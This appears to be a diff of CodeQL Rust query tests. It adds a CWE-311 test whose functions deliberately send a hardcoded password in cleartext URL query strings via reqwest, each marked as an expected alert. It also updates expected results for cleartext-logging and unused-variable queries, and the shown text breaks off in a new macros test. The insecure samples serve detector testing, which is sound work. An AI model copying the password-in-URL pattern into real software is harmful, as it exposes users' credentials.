+ - utils/test/InlineExpectationsTestQuery.ql
diff --git a/rust/ql/test/query-tests/security/CWE-311/main.rs b/rust/ql/test/query-tests/security/CWE-311/main.rs
new file mode 100644
index 000000000000..63d16a46a369
--- /dev/null
+++ b/rust/ql/test/query-tests/security/CWE-311/main.rs
@@ -0,0 +1,44 @@
+use http::Method;
+use url::Url;
+
+fn get_with_password_in_url() {
+    let password = "Hunter12";
+    let url = format!("example.com?password={}", password); // $ Source
+    reqwest::blocking::get(url).unwrap().text().unwrap(); // $ Alert[rust/cleartext-transmission]
+}
+
+fn get_with_password_in_constructed_url() {
+    let password = "Hunter12";
+    let address = format!("example.com?password={password}"); // $ Source
+    let url = Url::parse(&address).unwrap();
+    reqwest::blocking::get(url).unwrap().text().unwrap(); // $ Alert[rust/cleartext-transmission]
+}
+
+fn post_with_password_in_url() {
+    let password = "Hunter12";
+    let url = format!("example.com?password={}", password); // $ Source
+    let client = reqwest::Client::new();
+    client.post(url).body("body").send(); // $ Alert[rust/cleartext-transmission]
+}
+
+fn request_blocking_put_with_password_in_url() {
+    let password = "Hunter12";
+    let url = format!("example.com?password={}", password); // $ Source
+    let client = reqwest::blocking::Client::new();
+    client.request(Method::PUT, url).body("body").send(); // $ Alert[rust/cleartext-transmission]
+}
+
+fn request_put_with_password_in_url() {
+    let password = "Hunter12";
+    let url = format!("example.com?password={}", password); // $ Source
+    let client = reqwest::Client::new();
+    client.request(Method::PUT, url).body("body").send(); // $ Alert[rust/cleartext-transmission]
+}
+
+fn main() {
+    get_with_password_in_url();
+    get_with_password_in_constructed_url();
+    post_with_password_in_url();
+    request_blocking_put_with_password_in_url();
+    request_put_with_password_in_url();
+}
diff --git a/rust/ql/test/query-tests/security/CWE-311/options.yml b/rust/ql/test/query-tests/security/CWE-311/options.yml
new file mode 100644
index 000000000000..613dff78668c
--- /dev/null
+++ b/rust/ql/test/query-tests/security/CWE-311/options.yml
@@ -0,0 +1,5 @@
+qltest_cargo_check: true
+qltest_dependencies:
+  - reqwest = { version = "0.12.9", features = ["blocking"] }
+  - http = { version = "1.2.0" }
+  - url = { version = "2.5.4" }
diff --git a/rust/ql/test/query-tests/security/CWE-312/CleartextLogging.expected b/rust/ql/test/query-tests/security/CWE-312/CleartextLogging.expected
index a34f9d78f520..c085f4290588 100644
--- a/rust/ql/test/query-tests/security/CWE-312/CleartextLogging.expected
+++ b/rust/ql/test/query-tests/security/CWE-312/CleartextLogging.expected
@@ -15,14 +15,14 @@
 | test_logging.rs:65:5:65:48 | ...::log | test_logging.rs:65:40:65:47 | password | test_logging.rs:65:5:65:48 | ...::log | This operation writes $@ to a log file. | test_logging.rs:65:40:65:47 | password | password |
 | test_logging.rs:67:5:67:66 | ...::log | test_logging.rs:67:58:67:65 | password | test_logging.rs:67:5:67:66 | ...::log | This operation writes $@ to a log file. | test_logging.rs:67:58:67:65 | password | password |
 | test_logging.rs:68:5:68:67 | ...::log | test_logging.rs:68:19:68:26 | password | test_logging.rs:68:5:68:67 | ...::log | This operation writes $@ to a log file. | test_logging.rs:68:19:68:26 | password | password |
-| test_logging.rs:72:5:72:47 | ...::log::<...> | test_logging.rs:72:39:72:46 | password | test_logging.rs:72:5:72:47 | ...::log::<...> | This operation writes $@ to a log file. | test_logging.rs:72:39:72:46 | password | password |
-| test_logging.rs:74:5:74:65 | ...::log::<...> | test_logging.rs:74:57:74:64 | password | test_logging.rs:74:5:74:65 | ...::log::<...> | This operation writes $@ to a log file. | test_logging.rs:74:57:74:64 | password | password |
-| test_logging.rs:75:5:75:51 | ...::log::<...> | test_logging.rs:75:21:75:28 | password | test_logging.rs:75:5:75:51 | ...::log::<...> | This operation writes $@ to a log file. | test_logging.rs:75:21:75:28 | password | password |
-| test_logging.rs:76:5:76:47 | ...::log::<...> | test_logging.rs:76:39:76:46 | password | test_logging.rs:76:5:76:47 | ...::log::<...> | This operation writes $@ to a log file. | test_logging.rs:76:39:76:46 | password | password |
-| test_logging.rs:82:5:82:44 | ...::log::<...> | test_logging.rs:82:36:82:43 | password | test_logging.rs:82:5:82:44 | ...::log::<...> | This operation writes $@ to a log file. | test_logging.rs:82:36:82:43 | password | password |
-| test_logging.rs:84:5:84:62 | ...::log::<...> | test_logging.rs:84:54:84:61 | password | test_logging.rs:84:5:84:62 | ...::log::<...> | This operation writes $@ to a log file. | test_logging.rs:84:54:84:61 | password | password |
-| test_logging.rs:85:5:85:48 | ...::log::<...> | test_logging.rs:85:21:85:28 | password | test_logging.rs:85:5:85:48 | ...::log::<...> | This operation writes $@ to a log file. | test_logging.rs:85:21:85:28 | password | password |
-| test_logging.rs:86:5:86:44 | ...::log::<...> | test_logging.rs:86:36:86:43 | password | test_logging.rs:86:5:86:44 | ...::log::<...> | This operation writes $@ to a log file. | test_logging.rs:86:36:86:43 | password | password |
+| test_logging.rs:72:5:72:47 | ...::log | test_logging.rs:72:39:72:46 | password | test_logging.rs:72:5:72:47 | ...::log | This operation writes $@ to a log file. | test_logging.rs:72:39:72:46 | password | password |
+| test_logging.rs:74:5:74:65 | ...::log | test_logging.rs:74:57:74:64 | password | test_logging.rs:74:5:74:65 | ...::log | This operation writes $@ to a log file. | test_logging.rs:74:57:74:64 | password | password |
+| test_logging.rs:75:5:75:51 | ...::log | test_logging.rs:75:21:75:28 | password | test_logging.rs:75:5:75:51 | ...::log | This operation writes $@ to a log file. | test_logging.rs:75:21:75:28 | password | password |
+| test_logging.rs:76:5:76:47 | ...::log | test_logging.rs:76:39:76:46 | password | test_logging.rs:76:5:76:47 | ...::log | This operation writes $@ to a log file. | test_logging.rs:76:39:76:46 | password | password |
+| test_logging.rs:82:5:82:44 | ...::log | test_logging.rs:82:36:82:43 | password | test_logging.rs:82:5:82:44 | ...::log | This operation writes $@ to a log file. | test_logging.rs:82:36:82:43 | password | password |
+| test_logging.rs:84:5:84:62 | ...::log | test_logging.rs:84:54:84:61 | password | test_logging.rs:84:5:84:62 | ...::log | This operation writes $@ to a log file. | test_logging.rs:84:54:84:61 | password | password |
+| test_logging.rs:85:5:85:48 | ...::log | test_logging.rs:85:21:85:28 | password | test_logging.rs:85:5:85:48 | ...::log | This operation writes $@ to a log file. | test_logging.rs:85:21:85:28 | password | password |
+| test_logging.rs:86:5:86:44 | ...::log | test_logging.rs:86:36:86:43 | password | test_logging.rs:86:5:86:44 | ...::log | This operation writes $@ to a log file. | test_logging.rs:86:36:86:43 | password | password |
 | test_logging.rs:94:5:94:29 | ...::log | test_logging.rs:93:15:93:22 | password | test_logging.rs:94:5:94:29 | ...::log | This operation writes $@ to a log file. | test_logging.rs:93:15:93:22 | password | password |
 | test_logging.rs:97:5:97:19 | ...::log | test_logging.rs:96:42:96:49 | password | test_logging.rs:97:5:97:19 | ...::log | This operation writes $@ to a log file. | test_logging.rs:96:42:96:49 | password | password |
 | test_logging.rs:100:5:100:19 | ...::log | test_logging.rs:99:38:99:45 | password | test_logging.rs:100:5:100:19 | ...::log | This operation writes $@ to a log file. | test_logging.rs:99:38:99:45 | password | password |
@@ -94,35 +94,35 @@ edges
 | test_logging.rs:68:18:68:26 | TupleExpr [tuple.0] | test_logging.rs:68:18:68:26 | &... [&ref, tuple.0] | provenance |  |
 | test_logging.rs:68:19:68:26 | password | test_logging.rs:68:18:68:26 | &password | provenance | Config |
 | test_logging.rs:68:19:68:26 | password | test_logging.rs:68:18:68:26 | &password [&ref] | provenance |  |
-| test_logging.rs:72:23:72:46 | MacroExpr | test_logging.rs:72:5:72:47 | ...::log::<...> | provenance | MaD:9 Sink:MaD:9 |
+| test_logging.rs:72:23:72:46 | MacroExpr | test_logging.rs:72:5:72:47 | ...::log | provenance | MaD:9 Sink:MaD:9 |
 | test_logging.rs:72:39:72:46 | password | test_logging.rs:72:23:72:46 | MacroExpr | provenance |  |
-| test_logging.rs:74:41:74:64 | MacroExpr | test_logging.rs:74:5:74:65 | ...::log::<...> | provenance | MaD:9 Sink:MaD:9 |
+| test_logging.rs:74:41:74:64 | MacroExpr | test_logging.rs:74:5:74:65 | ...::log | provenance | MaD:9 Sink:MaD:9 |
 | test_logging.rs:74:57:74:64 | password | test_logging.rs:74:41:74:64 | MacroExpr | provenance |  |
-| test_logging.rs:75:20:75:28 | &... [&ref, tuple.0, &ref] | test_logging.rs:75:5:75:51 | ...::log::<...> | provenance | MaD:10 Sink:MaD:10 Sink:MaD:10 |
-| test_logging.rs:75:20:75:28 | &... [&ref, tuple.0, &ref] | test_logging.rs:75:5:75:51 | ...::log::<...> | provenance | MaD:10 Sink:MaD:10 Sink:MaD:10 Sink:MaD:10 |
-| test_logging.rs:75:20:75:28 | &... [&ref, tuple.0] | test_logging.rs:75:5:75:51 | ...::log::<...> | provenance | MaD:10 Sink:MaD:10 Sink:MaD:10 |
+| test_logging.rs:75:20:75:28 | &... [&ref, tuple.0, &ref] | test_logging.rs:75:5:75:51 | ...::log | provenance | MaD:10 Sink:MaD:10 Sink:MaD:10 |
+| test_logging.rs:75:20:75:28 | &... [&ref, tuple.0, &ref] | test_logging.rs:75:5:75:51 | ...::log | provenance | MaD:10 Sink:MaD:10 Sink:MaD:10 Sink:MaD:10 |
+| test_logging.rs:75:20:75:28 | &... [&ref, tuple.0] | test_logging.rs:75:5:75:51 | ...::log | provenance | MaD:10 Sink:MaD:10 Sink:MaD:10 |
 | test_logging.rs:75:20:75:28 | &password | test_logging.rs:75:20:75:28 | TupleExpr [tuple.0] | provenance |  |
 | test_logging.rs:75:20:75:28 | &password [&ref] | test_logging.rs:75:20:75:28 | TupleExpr [tuple.0, &ref] | provenance |  |
 | test_logging.rs:75:20:75:28 | TupleExpr [tuple.0, &ref] | test_logging.rs:75:20:75:28 | &... [&ref, tuple.0, &ref] | provenance |  |
 | test_logging.rs:75:20:75:28 | TupleExpr [tuple.0] | test_logging.rs:75:20:75:28 | &... [&ref, tuple.0] | provenance |  |
 | test_logging.rs:75:21:75:28 | password | test_logging.rs:75:20:75:28 | &password | provenance | Config |
 | test_logging.rs:75:21:75:28 | password | test_logging.rs:75:20:75:28 | &password [&ref] | provenance |  |
-| test_logging.rs:76:23:76:46 | MacroExpr | test_logging.rs:76:5:76:47 | ...::log::<...> | provenance | MaD:9 Sink:MaD:9 |
+| test_logging.rs:76:23:76:46 | MacroExpr | test_logging.rs:76:5:76:47 | ...::log | provenance | MaD:9 Sink:MaD:9 |
 | test_logging.rs:76:39:76:46 | password | test_logging.rs:76:23:76:46 | MacroExpr | provenance |  |
-| test_logging.rs:82:20:82:43 | MacroExpr | test_logging.rs:82:5:82:44 | ...::log::<...> | provenance | MaD:9 Sink:MaD:9 |
+| test_logging.rs:82:20:82:43 | MacroExpr | test_logging.rs:82:5:82:44 | ...::log | provenance | MaD:9 Sink:MaD:9 |
 | test_logging.rs:82:36:82:43 | password | test_logging.rs:82:20:82:43 | MacroExpr | provenance |  |
-| test_logging.rs:84:38:84:61 | MacroExpr | test_logging.rs:84:5:84:62 | ...::log::<...> | provenance | MaD:9 Sink:MaD:9 |
+| test_logging.rs:84:38:84:61 | MacroExpr | test_logging.rs:84:5:84:62 | ...::log | provenance | MaD:9 Sink:MaD:9 |
 | test_logging.rs:84:54:84:61 | password | test_logging.rs:84:38:84:61 | MacroExpr | provenance |  |
-| test_logging.rs:85:20:85:28 | &... [&ref, tuple.0, &ref] | test_logging.rs:85:5:85:48 | ...::log::<...> | provenance | MaD:10 Sink:MaD:10 Sink:MaD:10 |
-| test_logging.rs:85:20:85:28 | &... [&ref, tuple.0, &ref] | test_logging.rs:85:5:85:48 | ...::log::<...> | provenance | MaD:10 Sink:MaD:10 Sink:MaD:10 Sink:MaD:10 |
-| test_logging.rs:85:20:85:28 | &... [&ref, tuple.0] | test_logging.rs:85:5:85:48 | ...::log::<...> | provenance | MaD:10 Sink:MaD:10 Sink:MaD:10 |
+| test_logging.rs:85:20:85:28 | &... [&ref, tuple.0, &ref] | test_logging.rs:85:5:85:48 | ...::log | provenance | MaD:10 Sink:MaD:10 Sink:MaD:10 |
+| test_logging.rs:85:20:85:28 | &... [&ref, tuple.0, &ref] | test_logging.rs:85:5:85:48 | ...::log | provenance | MaD:10 Sink:MaD:10 Sink:MaD:10 Sink:MaD:10 |
+| test_logging.rs:85:20:85:28 | &... [&ref, tuple.0] | test_logging.rs:85:5:85:48 | ...::log | provenance | MaD:10 Sink:MaD:10 Sink:MaD:10 |
 | test_logging.rs:85:20:85:28 | &password | test_logging.rs:85:20:85:28 | TupleExpr [tuple.0] | provenance |  |
 | test_logging.rs:85:20:85:28 | &password [&ref] | test_logging.rs:85:20:85:28 | TupleExpr [tuple.0, &ref] | provenance |  |
 | test_logging.rs:85:20:85:28 | TupleExpr [tuple.0, &ref] | test_logging.rs:85:20:85:28 | &... [&ref, tuple.0, &ref] | provenance |  |
 | test_logging.rs:85:20:85:28 | TupleExpr [tuple.0] | test_logging.rs:85:20:85:28 | &... [&ref, tuple.0] | provenance |  |
 | test_logging.rs:85:21:85:28 | password | test_logging.rs:85:20:85:28 | &password | provenance | Config |
 | test_logging.rs:85:21:85:28 | password | test_logging.rs:85:20:85:28 | &password [&ref] | provenance |  |
-| test_logging.rs:86:20:86:43 | MacroExpr | test_logging.rs:86:5:86:44 | ...::log::<...> | provenance | MaD:9 Sink:MaD:9 |
+| test_logging.rs:86:20:86:43 | MacroExpr | test_logging.rs:86:5:86:44 | ...::log | provenance | MaD:9 Sink:MaD:9 |
 | test_logging.rs:86:36:86:43 | password | test_logging.rs:86:20:86:43 | MacroExpr | provenance |  |
 | test_logging.rs:93:9:93:10 | m1 | test_logging.rs:94:11:94:28 | MacroExpr | provenance |  |
 | test_logging.rs:93:14:93:22 | &password | test_logging.rs:93:9:93:10 | m1 | provenance |  |
@@ -180,43 +180,38 @@ edges
 | test_logging.rs:167:40:167:63 | ...::Some(...) [Some] | test_logging.rs:167:17:167:64 | ...::assert_failed | provenance | MaD:2 Sink:MaD:2 |
 | test_logging.rs:167:40:167:63 | MacroExpr | test_logging.rs:167:40:167:63 | ...::Some(...) [Some] | provenance |  |
 | test_logging.rs:167:56:167:63 | password | test_logging.rs:167:40:167:63 | MacroExpr | provenance |  |
-| test_logging.rs:168:34:168:66 | MacroExpr | test_logging.rs:168:34:168:75 | ... .as_str(...) | provenance | MaD:12 |
 | test_logging.rs:168:34:168:66 | res | test_logging.rs:168:42:168:65 | { ... } | provenance |  |
 | test_logging.rs:168:34:168:75 | ... .as_str(...) | test_logging.rs:168:27:168:32 | expect | provenance | MaD:1 Sink:MaD:1 |
 | test_logging.rs:168:42:168:65 | ...::format(...) | test_logging.rs:168:34:168:66 | res | provenance |  |
-| test_logging.rs:168:42:168:65 | ...::must_use(...) | test_logging.rs:168:34:168:66 | MacroExpr | provenance |  |
+| test_logging.rs:168:42:168:65 | ...::must_use(...) | test_logging.rs:168:34:168:75 | ... .as_str(...) | provenance | MaD:12 |
 | test_logging.rs:168:42:168:65 | MacroExpr | test_logging.rs:168:42:168:65 | ...::format(...) | provenance | MaD:13 |
 | test_logging.rs:168:42:168:65 | { ... } | test_logging.rs:168:42:168:65 | ...::must_use(...) | provenance | MaD:14 |
 | test_logging.rs:168:58:168:65 | password | test_logging.rs:168:42:168:65 | MacroExpr | provenance |  |
-| test_logging.rs:174:36:174:70 | MacroExpr | test_logging.rs:174:36:174:81 | ... .as_bytes(...) | provenance | MaD:11 |
 | test_logging.rs:174:36:174:70 | res | test_logging.rs:174:44:174:69 | { ... } | provenance |  |
 | test_logging.rs:174:36:174:81 | ... .as_bytes(...) | test_logging.rs:174:30:174:34 | write | provenance | MaD:5 Sink:MaD:5 |
 | test_logging.rs:174:44:174:69 | ...::format(...) | test_logging.rs:174:36:174:70 | res | provenance |  |
-| test_logging.rs:174:44:174:69 | ...::must_use(...) | test_logging.rs:174:36:174:70 | MacroExpr | provenance |  |
+| test_logging.rs:174:44:174:69 | ...::must_use(...) | test_logging.rs:174:36:174:81 | ... .as_bytes(...) | provenance | MaD:11 |
 | test_logging.rs:174:44:174:69 | MacroExpr | test_logging.rs:174:44:174:69 | ...::format(...) | provenance | MaD:13 |
 | test_logging.rs:174:44:174:69 | { ... } | test_logging.rs:174:44:174:69 | ...::must_use(...) | provenance | MaD:14 |
 | test_logging.rs:174:62:174:69 | password | test_logging.rs:174:44:174:69 | MacroExpr | provenance |  |
-| test_logging.rs:175:40:175:74 | MacroExpr | test_logging.rs:175:40:175:85 | ... .as_bytes(...) | provenance | MaD:11 |
 | test_logging.rs:175:40:175:74 | res | test_logging.rs:175:48:175:73 | { ... } | provenance |  |
 | test_logging.rs:175:40:175:85 | ... .as_bytes(...) | test_logging.rs:175:30:175:38 | write_all | provenance | MaD:6 Sink:MaD:6 |
 | test_logging.rs:175:48:175:73 | ...::format(...) | test_logging.rs:175:40:175:74 | res | provenance |  |
-| test_logging.rs:175:48:175:73 | ...::must_use(...) | test_logging.rs:175:40:175:74 | MacroExpr | provenance |  |
+| test_logging.rs:175:48:175:73 | ...::must_use(...) | test_logging.rs:175:40:175:85 | ... .as_bytes(...) | provenance | MaD:11 |
 | test_logging.rs:175:48:175:73 | MacroExpr | test_logging.rs:175:48:175:73 | ...::format(...) | provenance | MaD:13 |
 | test_logging.rs:175:48:175:73 | { ... } | test_logging.rs:175:48:175:73 | ...::must_use(...) | provenance | MaD:14 |
 | test_logging.rs:175:66:175:73 | password | test_logging.rs:175:48:175:73 | MacroExpr | provenance |  |
-| test_logging.rs:178:15:178:49 | MacroExpr | test_logging.rs:178:15:178:60 | ... .as_bytes(...) | provenance | MaD:11 |
 | test_logging.rs:178:15:178:49 | res | test_logging.rs:178:23:178:48 | { ... } | provenance |  |
 | test_logging.rs:178:15:178:60 | ... .as_bytes(...) | test_logging.rs:178:9:178:13 | write | provenance | MaD:5 Sink:MaD:5 |
 | test_logging.rs:178:23:178:48 | ...::format(...) | test_logging.rs:178:15:178:49 | res | provenance |  |
-| test_logging.rs:178:23:178:48 | ...::must_use(...) | test_logging.rs:178:15:178:49 | MacroExpr | provenance |  |
+| test_logging.rs:178:23:178:48 | ...::must_use(...) | test_logging.rs:178:15:178:60 | ... .as_bytes(...) | provenance | MaD:11 |
 | test_logging.rs:178:23:178:48 | MacroExpr | test_logging.rs:178:23:178:48 | ...::format(...) | provenance | MaD:13 |
 | test_logging.rs:178:23:178:48 | { ... } | test_logging.rs:178:23:178:48 | ...::must_use(...) | provenance | MaD:14 |
 | test_logging.rs:178:41:178:48 | password | test_logging.rs:178:23:178:48 | MacroExpr | provenance |  |
-| test_logging.rs:181:15:181:49 | MacroExpr | test_logging.rs:181:15:181:60 | ... .as_bytes(...) | provenance | MaD:11 |
 | test_logging.rs:181:15:181:49 | res | test_logging.rs:181:23:181:48 | { ... } | provenance |  |
 | test_logging.rs:181:15:181:60 | ... .as_bytes(...) | test_logging.rs:181:9:181:13 | write | provenance | MaD:4 Sink:MaD:4 |
 | test_logging.rs:181:23:181:48 | ...::format(...) | test_logging.rs:181:15:181:49 | res | provenance |  |
-| test_logging.rs:181:23:181:48 | ...::must_use(...) | test_logging.rs:181:15:181:49 | MacroExpr | provenance |  |
+| test_logging.rs:181:23:181:48 | ...::must_use(...) | test_logging.rs:181:15:181:60 | ... .as_bytes(...) | provenance | MaD:11 |
 | test_logging.rs:181:23:181:48 | MacroExpr | test_logging.rs:181:23:181:48 | ...::format(...) | provenance | MaD:13 |
 | test_logging.rs:181:23:181:48 | { ... } | test_logging.rs:181:23:181:48 | ...::must_use(...) | provenance | MaD:14 |
 | test_logging.rs:181:41:181:48 | password | test_logging.rs:181:23:181:48 | MacroExpr | provenance |  |
@@ -229,8 +224,8 @@ models
 | 6 | Sink: lang:std; <crate::io::stdio::StdoutLock as crate::io::Write>::write_all; log-injection; Argument[0] |
 | 7 | Sink: lang:std; crate::io::stdio::_eprint; log-injection; Argument[0] |
 | 8 | Sink: lang:std; crate::io::stdio::_print; log-injection; Argument[0] |
-| 9 | Sink: repo:https://github.com/rust-lang/log:log; crate::__private_api::log; log-injection; Argument[0] |
-| 10 | Sink: repo:https://github.com/rust-lang/log:log; crate::__private_api::log; log-injection; Argument[2] |
+| 9 | Sink: repo:https://github.com/rust-lang/log:log; crate::__private_api::log; log-injection; Argument[1] |
+| 10 | Sink: repo:https://github.com/rust-lang/log:log; crate::__private_api::log; log-injection; Argument[3] |
 | 11 | Summary: lang:alloc; <crate::string::String>::as_bytes; Argument[self]; ReturnValue; taint |
 | 12 | Summary: lang:alloc; <crate::string::String>::as_str; Argument[self]; ReturnValue; taint |
 | 13 | Summary: lang:alloc; crate::fmt::format; Argument[0]; ReturnValue; taint |
@@ -294,13 +289,13 @@ nodes
 | test_logging.rs:68:18:68:26 | TupleExpr [tuple.0, &ref] | semmle.label | TupleExpr [tuple.0, &ref] |
 | test_logging.rs:68:18:68:26 | TupleExpr [tuple.0] | semmle.label | TupleExpr [tuple.0] |
 | test_logging.rs:68:19:68:26 | password | semmle.label | password |
-| test_logging.rs:72:5:72:47 | ...::log::<...> | semmle.label | ...::log::<...> |
+| test_logging.rs:72:5:72:47 | ...::log | semmle.label | ...::log |
 | test_logging.rs:72:23:72:46 | MacroExpr | semmle.label | MacroExpr |
 | test_logging.rs:72:39:72:46 | password | semmle.label | password |
-| test_logging.rs:74:5:74:65 | ...::log::<...> | semmle.label | ...::log::<...> |
+| test_logging.rs:74:5:74:65 | ...::log | semmle.label | ...::log |
 | test_logging.rs:74:41:74:64 | MacroExpr | semmle.label | MacroExpr |
 | test_logging.rs:74:57:74:64 | password | semmle.label | password |
-| test_logging.rs:75:5:75:51 | ...::log::<...> | semmle.label | ...::log::<...> |
+| test_logging.rs:75:5:75:51 | ...::log | semmle.label | ...::log |
 | test_logging.rs:75:20:75:28 | &... [&ref, tuple.0, &ref] | semmle.label | &... [&ref, tuple.0, &ref] |
 | test_logging.rs:75:20:75:28 | &... [&ref, tuple.0] | semmle.label | &... [&ref, tuple.0] |
 | test_logging.rs:75:20:75:28 | &password | semmle.label | &password |
@@ -308,16 +303,16 @@ nodes
 | test_logging.rs:75:20:75:28 | TupleExpr [tuple.0, &ref] | semmle.label | TupleExpr [tuple.0, &ref] |
 | test_logging.rs:75:20:75:28 | TupleExpr [tuple.0] | semmle.label | TupleExpr [tuple.0] |
 | test_logging.rs:75:21:75:28 | password | semmle.label | password |
-| test_logging.rs:76:5:76:47 | ...::log::<...> | semmle.label | ...::log::<...> |
+| test_logging.rs:76:5:76:47 | ...::log | semmle.label | ...::log |
 | test_logging.rs:76:23:76:46 | MacroExpr | semmle.label | MacroExpr |
 | test_logging.rs:76:39:76:46 | password | semmle.label | password |
-| test_logging.rs:82:5:82:44 | ...::log::<...> | semmle.label | ...::log::<...> |
+| test_logging.rs:82:5:82:44 | ...::log | semmle.label | ...::log |
 | test_logging.rs:82:20:82:43 | MacroExpr | semmle.label | MacroExpr |
 | test_logging.rs:82:36:82:43 | password | semmle.label | password |
-| test_logging.rs:84:5:84:62 | ...::log::<...> | semmle.label | ...::log::<...> |
+| test_logging.rs:84:5:84:62 | ...::log | semmle.label | ...::log |
 | test_logging.rs:84:38:84:61 | MacroExpr | semmle.label | MacroExpr |
 | test_logging.rs:84:54:84:61 | password | semmle.label | password |
-| test_logging.rs:85:5:85:48 | ...::log::<...> | semmle.label | ...::log::<...> |
+| test_logging.rs:85:5:85:48 | ...::log | semmle.label | ...::log |
 | test_logging.rs:85:20:85:28 | &... [&ref, tuple.0, &ref] | semmle.label | &... [&ref, tuple.0, &ref] |
 | test_logging.rs:85:20:85:28 | &... [&ref, tuple.0] | semmle.label | &... [&ref, tuple.0] |
 | test_logging.rs:85:20:85:28 | &password | semmle.label | &password |
@@ -325,7 +320,7 @@ nodes
 | test_logging.rs:85:20:85:28 | TupleExpr [tuple.0, &ref] | semmle.label | TupleExpr [tuple.0, &ref] |
 | test_logging.rs:85:20:85:28 | TupleExpr [tuple.0] | semmle.label | TupleExpr [tuple.0] |
 | test_logging.rs:85:21:85:28 | password | semmle.label | password |
-| test_logging.rs:86:5:86:44 | ...::log::<...> | semmle.label | ...::log::<...> |
+| test_logging.rs:86:5:86:44 | ...::log | semmle.label | ...::log |
 | test_logging.rs:86:20:86:43 | MacroExpr | semmle.label | MacroExpr |
 | test_logging.rs:86:36:86:43 | password | semmle.label | password |
 | test_logging.rs:93:9:93:10 | m1 | semmle.label | m1 |
@@ -404,7 +399,6 @@ nodes
 | test_logging.rs:167:40:167:63 | MacroExpr | semmle.label | MacroExpr |
 | test_logging.rs:167:56:167:63 | password | semmle.label | password |
 | test_logging.rs:168:27:168:32 | expect | semmle.label | expect |
-| test_logging.rs:168:34:168:66 | MacroExpr | semmle.label | MacroExpr |
 | test_logging.rs:168:34:168:66 | res | semmle.label | res |
 | test_logging.rs:168:34:168:75 | ... .as_str(...) | semmle.label | ... .as_str(...) |
 | test_logging.rs:168:42:168:65 | ...::format(...) | semmle.label | ...::format(...) |
@@ -413,7 +407,6 @@ nodes
 | test_logging.rs:168:42:168:65 | { ... } | semmle.label | { ... } |
 | test_logging.rs:168:58:168:65 | password | semmle.label | password |
 | test_logging.rs:174:30:174:34 | write | semmle.label | write |
-| test_logging.rs:174:36:174:70 | MacroExpr | semmle.label | MacroExpr |
 | test_logging.rs:174:36:174:70 | res | semmle.label | res |
 | test_logging.rs:174:36:174:81 | ... .as_bytes(...) | semmle.label | ... .as_bytes(...) |
 | test_logging.rs:174:44:174:69 | ...::format(...) | semmle.label | ...::format(...) |
@@ -422,7 +415,6 @@ nodes
 | test_logging.rs:174:44:174:69 | { ... } | semmle.label | { ... } |
 | test_logging.rs:174:62:174:69 | password | semmle.label | password |
 | test_logging.rs:175:30:175:38 | write_all | semmle.label | write_all |
-| test_logging.rs:175:40:175:74 | MacroExpr | semmle.label | MacroExpr |
 | test_logging.rs:175:40:175:74 | res | semmle.label | res |
 | test_logging.rs:175:40:175:85 | ... .as_bytes(...) | semmle.label | ... .as_bytes(...) |
 | test_logging.rs:175:48:175:73 | ...::format(...) | semmle.label | ...::format(...) |
@@ -431,7 +423,6 @@ nodes
 | test_logging.rs:175:48:175:73 | { ... } | semmle.label | { ... } |
 | test_logging.rs:175:66:175:73 | password | semmle.label | password |
 | test_logging.rs:178:9:178:13 | write | semmle.label | write |
-| test_logging.rs:178:15:178:49 | MacroExpr | semmle.label | MacroExpr |
 | test_logging.rs:178:15:178:49 | res | semmle.label | res |
 | test_logging.rs:178:15:178:60 | ... .as_bytes(...) | semmle.label | ... .as_bytes(...) |
 | test_logging.rs:178:23:178:48 | ...::format(...) | semmle.label | ...::format(...) |
@@ -440,7 +431,6 @@ nodes
 | test_logging.rs:178:23:178:48 | { ... } | semmle.label | { ... } |
 | test_logging.rs:178:41:178:48 | password | semmle.label | password |
 | test_logging.rs:181:9:181:13 | write | semmle.label | write |
-| test_logging.rs:181:15:181:49 | MacroExpr | semmle.label | MacroExpr |
 | test_logging.rs:181:15:181:49 | res | semmle.label | res |
 | test_logging.rs:181:15:181:60 | ... .as_bytes(...) | semmle.label | ... .as_bytes(...) |
 | test_logging.rs:181:23:181:48 | ...::format(...) | semmle.label | ...::format(...) |
diff --git a/rust/ql/test/query-tests/unusedentities/CONSISTENCY/ExtractionConsistency.expected b/rust/ql/test/query-tests/unusedentities/CONSISTENCY/ExtractionConsistency.expected
new file mode 100644
index 000000000000..f3834c238893
--- /dev/null
+++ b/rust/ql/test/query-tests/unusedentities/CONSISTENCY/ExtractionConsistency.expected
@@ -0,0 +1,2 @@
+extractionWarning
+| undefined_macros/main.rs:1:1:1:1 | semantic analyzer unavailable (not included as a module) |
diff --git a/rust/ql/test/query-tests/unusedentities/UnusedValue.expected b/rust/ql/test/query-tests/unusedentities/UnusedValue.expected
index 07439e3e0712..4ef8ae416250 100644
--- a/rust/ql/test/query-tests/unusedentities/UnusedValue.expected
+++ b/rust/ql/test/query-tests/unusedentities/UnusedValue.expected
@@ -14,8 +14,8 @@
 | main.rs:284:13:284:17 | total | Variable $@ is assigned a value that is never used. | main.rs:252:13:252:17 | total | total |
 | main.rs:377:9:377:9 | x | Variable $@ is assigned a value that is never used. | main.rs:377:9:377:9 | x | x |
 | main.rs:385:17:385:17 | x | Variable $@ is assigned a value that is never used. | main.rs:385:17:385:17 | x | x |
-| main.rs:486:9:486:9 | c | Variable $@ is assigned a value that is never used. | main.rs:486:9:486:9 | c | c |
-| main.rs:519:9:519:20 | var_in_macro | Variable $@ is assigned a value that is never used. | main.rs:519:9:519:20 | var_in_macro | var_in_macro |
+| main.rs:531:9:531:20 | var_in_macro | Variable $@ is assigned a value that is never used. | main.rs:531:9:531:20 | var_in_macro | var_in_macro |
+| main.rs:540:9:540:9 | c | Variable $@ is assigned a value that is never used. | main.rs:540:9:540:9 | c | c |
 | more.rs:44:9:44:14 | a_ptr4 | Variable $@ is assigned a value that is never used. | more.rs:44:9:44:14 | a_ptr4 | a_ptr4 |
 | more.rs:59:9:59:13 | d_ptr | Variable $@ is assigned a value that is never used. | more.rs:59:9:59:13 | d_ptr | d_ptr |
 | more.rs:65:13:65:17 | f_ptr | Variable $@ is assigned a value that is never used. | more.rs:65:13:65:17 | f_ptr | f_ptr |
diff --git a/rust/ql/test/query-tests/unusedentities/main.rs b/rust/ql/test/query-tests/unusedentities/main.rs
index ccd63f1cd53a..6da7b55fe5cd 100644
--- a/rust/ql/test/query-tests/unusedentities/main.rs
+++ b/rust/ql/test/query-tests/unusedentities/main.rs
@@ -468,7 +468,45 @@ fn traits() {
 
 // --- macros ---
 
-fn macros() {
+macro_rules! set_value {
+    ($x:expr,$y:expr) => {
+        $x = $y
+    };
+}
+
+macro_rules! use_value {
+    ($x:expr) => {
+        println!("{}", $x)
+    };
+}
+
+fn macros1() {
+    let a: u16;
+    let b: u16 = 2;
